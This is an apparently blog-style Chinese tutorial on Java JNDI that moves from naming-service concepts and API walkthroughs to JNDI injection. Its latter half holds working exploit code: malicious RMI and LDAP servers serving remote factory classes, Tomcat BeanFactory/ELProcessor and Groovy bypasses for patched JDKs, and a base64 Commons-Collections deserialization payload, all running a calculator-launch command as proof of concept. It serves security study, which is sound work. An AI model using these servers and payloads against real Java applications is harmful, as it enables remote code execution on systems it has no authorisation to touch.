基本概念 Java Naming and Directory Interface(JNDI)是一种Java API, JNDI为利用Java编写的应用程序提供命名和目录接口功能 ,JNDI不仅限于context.xml等应用程序服务器中的配置;相反,它是一个用于访问命名和目录服务的更广泛的API。
JNDI允许Java软件客户端通过名称发现和查找数据和对象,这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI)、公共对象请求代理体系结构(CORBA)、轻量级目录访问协议(LDAP)或域名服务(DNS)。 JNDI可访问的现有的目录及服务包括JDBC、LDAP、RMI、DNS、NIS、CORBA。
Naming Service Naming Service将名称和对象进行关联,提供通过名称找到对象的操作。 例如,DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
在命名系统中,有几个重要的概念:
Bindings:表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在DNS中域名绑定到对应的IP,在RMI中远程对象绑定到对应的Name。
Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,可以在指定上下文中查找名称对应的对象。例如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文(subcontext)。
References:在一个实际的Naming Service中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为C/C++中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数fd(file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
Directory Service Directory Service可以被认为是Naming Service的一种拓展,除了Naming Service中已有的名称到对象的关联信息外,还允许对象拥有属性信息。 因此,不仅可以根据名称去查找对象并获取其对应属性,还可以根据属性值去搜索对象。
以打印机服务为例,可以在Naming Service中根据打印机名称去获取打印机对象,然后进行打印操作;同时打印机拥有速率、分辨率、颜色等属性,作为Directory Service,用户可以根据打印机的分辨率去搜索对应的打印机对象。
Directory Service提供了对目录中对象(Directory Objects)的属性进行增删改查的操作。常见的Directory Service有:
LDAP,轻型目录访问协议。
Active Directory,为Windows域网络设计,包含多个目录服务,比如域名服务、证书服务等。
其他基于目录服务的标准X.500实现的目录服务。
Interface 为了方便在JAVA中使用目录协议,JAVA实现了一套目录服务的接口JDNI,即Java提供的Java命名和目录接口,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。
API JNDI架构上主要包含两个部分,即Java的应用层接口和SPI (Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装),如下图所示。
JNDI包含在Java SE平台中,要使用JNDI时,必须要拥有JNDI类和一个或多个服务提供者,JDK包括以下命名或者目录服务的服务提供者:
DNS,Domain Name Service(域名服务)
RMI,Java Remote Method Invocation(Java方法远程调用)
LDAP,Lightweight Directory Access Protocol(轻量级目录访问协议)
CORBA,Common Object Request Broker Architecture(公共对象请求代理体系结构)
基本使用 JNDI接口主要分为如下5个包:
javax.naming,主要用于命名操作,它包含了命名服务的类和接口,例如Context、Bindings、References、lookup等
javax.naming.directory,主要用于目录操作,它定义了DirContext接口和InitialDir-Context类
javax.naming.event,在命名目录服务器中请求事件通知
javax.naming.ldap,提供LDAP服务支持
javax.naming.spi,允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务
InitialContext InitialContext类是JNDI的一个核心类,实现了Context接口,是所有命名操作的起点。它提供了一个上下文环境,用于相对命名操作。
构造方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public InitialContext () throws NamingException { init(null ); } protected InitialContext (boolean lazy) throws NamingException { if (!lazy) { init(null ); } } public InitialContext (Hashtable<?,?> environment) throws NamingException { if (environment != null ) { environment = (Hashtable)environment.clone(); } init(environment); }
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import javax.naming.Context;import javax.naming.InitialContext;import java.util.Hashtable;public class SimpleInitialContextDemo { public static void main (String[] args) { Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory" ); env.put(Context.PROVIDER_URL, "dns://a952d10bd0.ipv6.1433.eu.org" ); try { Context ctx = new InitialContext (env); Object obj = ctx.lookup("object" ); System.out.println(obj); ctx.close(); } catch (Exception e) { e.printStackTrace(); } } }
Reference Reference类也是在javax.naming的一个类,实现了Referenceable接口,用于表示对对象的引用。该类表示对在命名/目录系统外部找到的对象的引用,它包含了对象的类名和一组属性,这些属性描述了如何创建和查找对象。
构造方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public Reference (String className) { this .className = className; addrs = new Vector <>(); } public Reference (String className, RefAddr addr) { this .className = className; addrs = new Vector <>(); addrs.addElement(addr); } public Reference (String className, String factory, String factoryLocation) { this (className); classFactory = factory; classFactoryLocation = factoryLocation; } public Reference (String className, RefAddr addr, String factory, String factoryLocation) { this (className, addr); classFactory = factory; classFactoryLocation = factoryLocation; }
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class SimpleReferenceDemo { public static void main (String[] args) throws Exception { String url = "http://127.0.0.1:8080" ; Registry registry = LocateRegistry.createRegistry(1099 ); Reference reference = new Reference ("test" , "test" , url); ReferenceWrapper referenceWrapper = new ReferenceWrapper (reference); registry.bind("a" ,referenceWrapper); } }
工作流程 以上文中InitialContext为例:
首先,使用Hashtable类来设置属性INITIAL_CONTEXT_FACTORY和PROVIDER_URL的值,初始化了一个上下文。
接着,定义了两个环境值,一个是INITIAL_CONTEXT_FACTORY,值为com.sun.jndi.dns.DnsContextFactoryDnsContext的工厂类,同时,INITIAL_CONTEXT_FACTORY也决定了JNDI上下文的实际协议;一个是PROVIDER_URL,值为DNS服务器的URL地址。
最后,实例化InitialContext类并将设置好的属性值传入来初始化一个Context,此时便获得了一个与DNS服务相关联的上下文Context。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class SimpleInitialContextDemo { public static void main (String[] args) { Hashtable<String, String> env = new Hashtable <>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory" ); env.put(Context.PROVIDER_URL, "dns://a952d10bd0.ipv6.1433.eu.org" ); try { Context ctx = new InitialContext (env); Object obj = ctx.lookup("object" ); System.out.println(obj); ctx.close(); } catch (Exception e) { e.printStackTrace(); } } }
具体流程如下:
在实例化InitialContext类处下断点,跟进javax.naming.InitialContext#InitialContext方法,通过传入的属性值进行初始化操作。
跟进init方法,调用javax.naming.InitialContext#getDefaultInitCtx方法。
跟进getDefaultInitCtx方法,调用javax.naming.spi.NamingManager#getInitialContext方法。
跟进getInitialContext方法,先调用getInitialContextFactoryBuilder方法初始化了一个InitialContextFactoryBuilder类,如果initctx_factory_builder为null,则将className设置为INITIAL_CONTEXT_FACTORY属性,即手动设置的DNS上下文工厂类com.sun.jndi.dns.DnsContextFactory。
接着,通过loadClass方法来动态加载设置的工厂类,最终调用Rcom.sun.jndi.dns.DnsContextFactory#getInitialContext方法,通过设置工厂类来初始化上下文Context。
跟进DnsContextFactory#getInitialContext方法,该处的var1的值为设置的环境变量。
跟进com.sun.jndi.dns.DnsContextFactory#getInitCtxUrl方法,通过java.naming.provider.url的值来获取服务的路径。
最终初始化了一个DnsContext,获取了与服务交互所需的资源,接着通过获取到的资源与服务进行交互。
动态协议转换 在上文分析的示例代码,通过手动设置属性INITIAL_CONTEXT_FACTORY和PROVIDER_URL的值来初始化上下文。实际上,在Context#lookup方法的参数中,可以指定查找协议,JNDI会通过用户的输入来动态的识别要调用的服务以及路径。
示例代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import java.rmi.Remote;import java.rmi.RemoteException;public interface RmiDemo extends Remote { public String hello () throws RemoteException; } import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class RmiDemoImpl extends UnicastRemoteObject implements RmiDemo { protected RmiDemoImpl () throws RemoteException { } @Override public String hello () throws RemoteException { return "RMI Called..." ; } } import javax.naming.InitialContext;public class SimpleRmiDemo { public static void main (String[] args) throws Exception { String rmiUrl = "rmi://localhost:1099/hello" ; InitialContext initialContext = new InitialContext (); RmiDemo rmiDemo = (RmiDemo) initialContext.lookup(rmiUrl); rmiDemo.hello(); } }
在调用lookup方法处下断点,跟进javax.naming.InitialContext#lookup方法。
继续跟进javax.naming.InitialContext#getURLOrDefaultInitCtx方法,会调用javax.naming.InitialContext#getURLScheme方法解析出使用的协议,接着传入javax.naming.spi.NamingManager#getURLContext方法,根据defaultPkgPrefix属性动态生成Factory类,根据协议获取对应的Context。
通过动态协议转换,可以仅通过一串特定字符串就指定JNDI调用何种服务,十分便捷。但是,在示例代码中,假如能够控制rmiUrl字段,那么就可以搭建恶意服务,并控制JNDI接口访问该恶意,于是将导致恶意的远程class文件加载,从而导致远程代码执行。这种攻击手法其实就是JNDI注入,它和RMI服务攻击手法中的“远程加载CodeBase”较为类似,都是通过一些远程通信来引入恶意的class文件,进而导致代码执行。
JNDI默认支持的动态协议转换有如下几种,针对JNDI进行攻击的时候可以优先考虑以下几种服务。
JNDI注入 在上文的工作流程分析中可以看到,当传入lookup函数的参数控制不当时,则有可能导致加载远程恶意类,JNDI攻击流程如下图所示。
对于JNDI注入,在后续的JDK版本中对于RMI/LDAP两个攻击方式都做了默认情况的限制。
RMI: 从JDK 6u132、7u122、8u113及更高版本开始,com.sun.jndi.rmi.object.trustURLCodebase的默认值为false ,它可以防止通过JNDI获取的RMI对象从远程提供的代码库URL自动加载类定义。
LDAP: 从JDK 6u211、7u201、11.0.1、8u191及更高版本开始,com.sun.jndi.ldap.object.trustURLCodebase的默认值为false ,禁用从远程位置自动加载通过JNDI中的LDAP服务检索对象的Java类定义。
RMI 低版本JDK 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RmiServer { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); String factoryUrl = "http://localhost:8080/" ; Reference reference = new Reference ("Evil" , "Evil" , factoryUrl); ReferenceWrapper referenceWrapper = new ReferenceWrapper (reference); registry.bind("calc" , referenceWrapper); System.err.println("RMI Server Ready: " + factoryUrl); } }
1 2 3 4 5 6 7 8 9 10 11 import javax.naming.InitialContext;public class RmiClient { public static void main (String[] args) throws Exception { String rmiUrl = "rmi://localhost:1099/calc" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(rmiUrl); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Evil implements ObjectFactory { @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null ; } public Evil () { } static { try { Runtime.getRuntime().exec("open -a Calculator" ); } catch (IOException e) { throw new RuntimeException (e); } } }
高版本JDK 在高版本运行Client代码时会抛出如下异常,上文也提到了,从JDK 6u132、7u122、8u113及更高版本开始,com.sun.jndi.rmi.object.trustURLCodebase的默认值为false,它可以防止通过JNDI获取的RMI对象从远程提供的代码库URL自动加载类定义。
1 2 3 4 5 6 Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true' . at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495 ) at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138 ) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:217 ) at javax.naming.InitialContext.lookup(InitialContext.java:417 ) at org.example.jndi.RmiClient.main(RmiClient.java:10 )
那么有什么方式可以绕过该限制嘛?答案显然是有的,在抛出的异常中可以看到,高版本JDK无法加载远程代码是在com.sun.jndi.rmi.registry.RegistryContext#decodeObject方法中出现问题。
进入异常抛出的逻辑语句的前提是满足 var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase ,那么为了绕过ConfigurationException的限制,可以从三个角度出发,即令var == null,或者令var8.getFactoryClassLocation() == null,或者令trustURLCodebase的值为true。
方法一:令var8为null,从语义上看需要var3既不是Reference也不是Referenceable。即,不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程RMI没有操作的空间,因此这种情况不太好利用。
方法二:令var8.getFactoryClassLocation()的返回结果null。即,让var8对象的classFactoryLocation属性为空,这个属性表示引用所指向对象的对应factory名称,对于远程代码加载而言是codebase,即远程代码的URL地址,这正是上文针对低版本的利用方法;如果对应的factory是本地代码,则该值为空,这是绕过高版本JDK限制的关键。
方法三:在命令行指定com.sun.jndi.rmi.object.trustURLCodebase参数为true即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private Object decodeObject (Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; Reference var8 = null ; if (var3 instanceof Reference) { var8 = (Reference)var3; } else if (var3 instanceof Referenceable) { var8 = ((Referenceable)((Referenceable)var3)).getReference(); } if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException ("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'." ); } else { return NamingManager.getObjectInstance(var3, var2, this , this .environment); } } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException (); var4.setRootCause(var7); throw var4; } }
上文提到了 绕过高版本JDK限制的关键是利用本地的Reference Factory类 。要满足方法二的理由前提,只需要在远程RMI服务器返回的Reference对象中不指定Factory的codebase。
接着看看javax.naming.spi.NamingManager#getObjectInstance方法,在处理Reference对象时,先调用 getFactoryClassName方法获取对应工厂类的名称,即先在本地的CLASSPATH中寻找该类,如果找到了的话直接实例化工厂类,并通过工厂类去实例化一个对象并返回;如果没找到则通过网络请求来获取。
之后会执行静态代码块、代码块、无参构造函数和getObjectInstance方法,因此只需要在攻击者本地CLASSPATH找到这个Reference Factory类,并且在这四个地方其中一块能执行Payload即可。
在javax.naming.spi.NamingManager#getObjectFactoryFromReference的return语句中,对Factory类的实例对象进行了类型转换,因此利用的本地工厂类需要实现javax.naming.spi.ObjectFactory接口,并且该工厂类至少存在一个getObjectInstance方法。
整个利用过程的主要调用栈如下:
1 2 3 4 5 6 InitialContext#lookup() RegistryContext#lookup() RegistryContext#decodeObject() NamingManager#getObjectInstance() objectfactory = NamingManager#getObjectFactoryFromReference() Class#newInstance()或objectfactory#getObjectInstance()
Tomcat 存在于Tomcat依赖包中的org.apache.naming.factory.BeanFactory就是满足条件之一,org.apache.naming.factory.BeanFactory在getObjectInstance方法中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException { Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null ) { beanClass = tcl.loadClass(beanClassName); } else { beanClass = Class.forName(beanClassName); } Object bean = beanClass.getConstructor().newInstance(); RefAddr ra = ref.get("forceString" ); String value = (String)ra.getContent(); for (String param: value.split("," )) { param = param.trim(); index = param.indexOf('=' ); if (index >= 0 ) { setterName = param.substring(index + 1 ).trim(); param = param.substring(0 , index).trim(); } else { setterName = "set" + param.substring(0 , 1 ).toUpperCase(Locale.ENGLISH) + param.substring(1 ); } forced.put(param, beanClass.getMethod(setterName, paramTypes)); } Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); String value = (String)ra.getContent(); Object[] valueArray = new Object [1 ]; Method method = forced.get(propName); if (method != null ) { valueArray[0 ] = value; method.invoke(bean, valueArray); } } }
上述代码中,可以通过在返回给客户端的Reference对象的forceString字段指定setter方法的别名,并在后续初始化过程中进行调用。
forceString的格式为a=foo,bar,以逗号分隔每个需要设置的属性,如果包含等号,则对应的setter方法为等号后的值foo,如果不包含等号,则setter方法为默认值setBar。
在后续调用时,调用setter方法使用单个参数,且参数值为对应属性对象RefAddr的值。因此,实际上可以调用任意指定类的任意方法,并指定单个可控的参数。
因为使用newInstance创建实例,所以只能调用无参构造,这就要求目标class得有无参构造方法,上面forceString可以给属性强制指定一个setter方法,参数为一个String类型,因此利用javax.el.ELProcessor作为目标class,利用el表达式执行命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RmiServerTomcatBypass { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); ResourceRef resourceRef = new ResourceRef ("javax.el.ELProcessor" , (String)null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , (String)null ); resourceRef.add(new StringRefAddr ("forceString" , "x=eval" )); resourceRef.add(new StringRefAddr ("x" , "Runtime.getRuntime().exec(\"open -a Calculator\")" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (resourceRef); registry.bind("bypass" , referenceWrapper); System.out.println("Registry运行中......" ); } }
Groovy Groovy程序允许执行断言,也就意味着存在命令执行,借助BeanFactory的功能,使程序执行GroovyClassLoader#parseClass,然后去解析Groovy脚本即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RmiServerGroovyBypass { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); ResourceRef resourceRef = new ResourceRef ("groovy.lang.GroovyClassLoader" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); resourceRef.add(new StringRefAddr ("forceString" , "x=parseClass" )); String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef faster\n" , "open -a Calculator" ); resourceRef.add(new StringRefAddr ("x" ,script)); ReferenceWrapper referenceWrapper = new ReferenceWrapper (resourceRef); registry.bind("bypass" , referenceWrapper); System.out.println("Registry运行中......" ); } }
LDAP 低版本JDK 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main ( String[] tmp_args ) { String[] args=new String []{"http://127.0.0.1:8888/#EXP" }; int port = 9999 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "foo" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
1 2 3 4 5 6 7 8 9 10 11 import javax.naming.InitialContext;public class LdapClient { public static void main (String[] args) throws Exception { String url = "ldap://localhost:9999/EXP" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(url); } }
高版本JDK 从JDK 6u211、7u201、11.0.1、8u191及更高版本开始,com.sun.jndi.ldap.object.trustURLCodebase的默认值为false,对LDAP Reference远程加载Factory类进行了限制,因此也需要找到绕过的方式。
在LDAP中,Java有多种方式进行数据存储。
序列化数据
JNDI Reference
Marshalled Object
Remote Location
除此以外,LDAP也可以为存储的对象指定多种属性。
javaCodeBase
objectClass
javaFactory
javaSerializedData
LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。 如果LDAP存储的某个对象的javaSerializedData值不为空,则客户端会通过调用obj.decodeObject()方法对该属性值内容进行反序列化,当客户端存在反序列化相关组件漏洞,则可以通过LDAP来传输恶意序列化对象。
方法一 跟进com.sun.jndi.ldap.Obj.java#decodeObject方法,其主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。decodeObject方法存在对JAVA_ATTRIBUTES[SERIALIZED_DATA]的判断,其中JAVA_ATTRIBUTES[1]为javaSerializedData。
跟进com.sun.jndi.ldap.Obj.java#deserializeObject方法,可以看到此处会进行readObject,因此可以通过修改ldap服务直接返回javaSerializedData参数的数据(序列化gadget数据),达到反序列化RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.URL;import java.util.Base64;public class LdapServerBypass { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] argsx) { String[] args = new String []{"http://127.0.0.1:8000/#Evil" , "1389" }; int port = 0 ; if (args.length < 1 || args[0 ].indexOf('#' ) < 0 ) { System.exit(-1 ); } else if (args.length > 1 ) { port = Integer.parseInt(args[1 ]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (args[0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor (URL cb) { this .codebase = cb; } @Override public void processSearchResult (InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception { e.addAttribute("javaClassName" , "foo" ); e.addAttribute("javaSerializedData" , Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABJvcGVuIC1hIENhbGN1bGF0b3J0AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==" )); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
方法二 跟进com.sun.jndi.ldap.Obj.java#decodeReference函数中,在普通的Reference还原的基础上,还可以进一步对RefAddress做还原处理,其中还原过程中,也调用了deserializeObject函数,这意味着通过满足RefAddress的方式,也可以达到上面第一种的效果。
Payload构造需满足以下条件:
第一个字符为分隔符
第一个分隔符与第二个分隔符之间,表示Reference的position,为int类型
第二个分隔符与第三个分隔符之间,表示type类型
第三个分隔符是双分隔符的形式,则进入反序列化的操作
序列化数据用base64编码
1 2 3 4 5 e.addAttribute("javaClassName" , "foo" ); e.addAttribute("javaReferenceAddress" ,"$1$String$$" +new BASE64Encoder ().encode(serializeObject(getPayload()))); e.addAttribute("objectClass" , "javaNamingReference" ); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS));
参考 JNDI Injection — The Complete Story
JNDI注入分析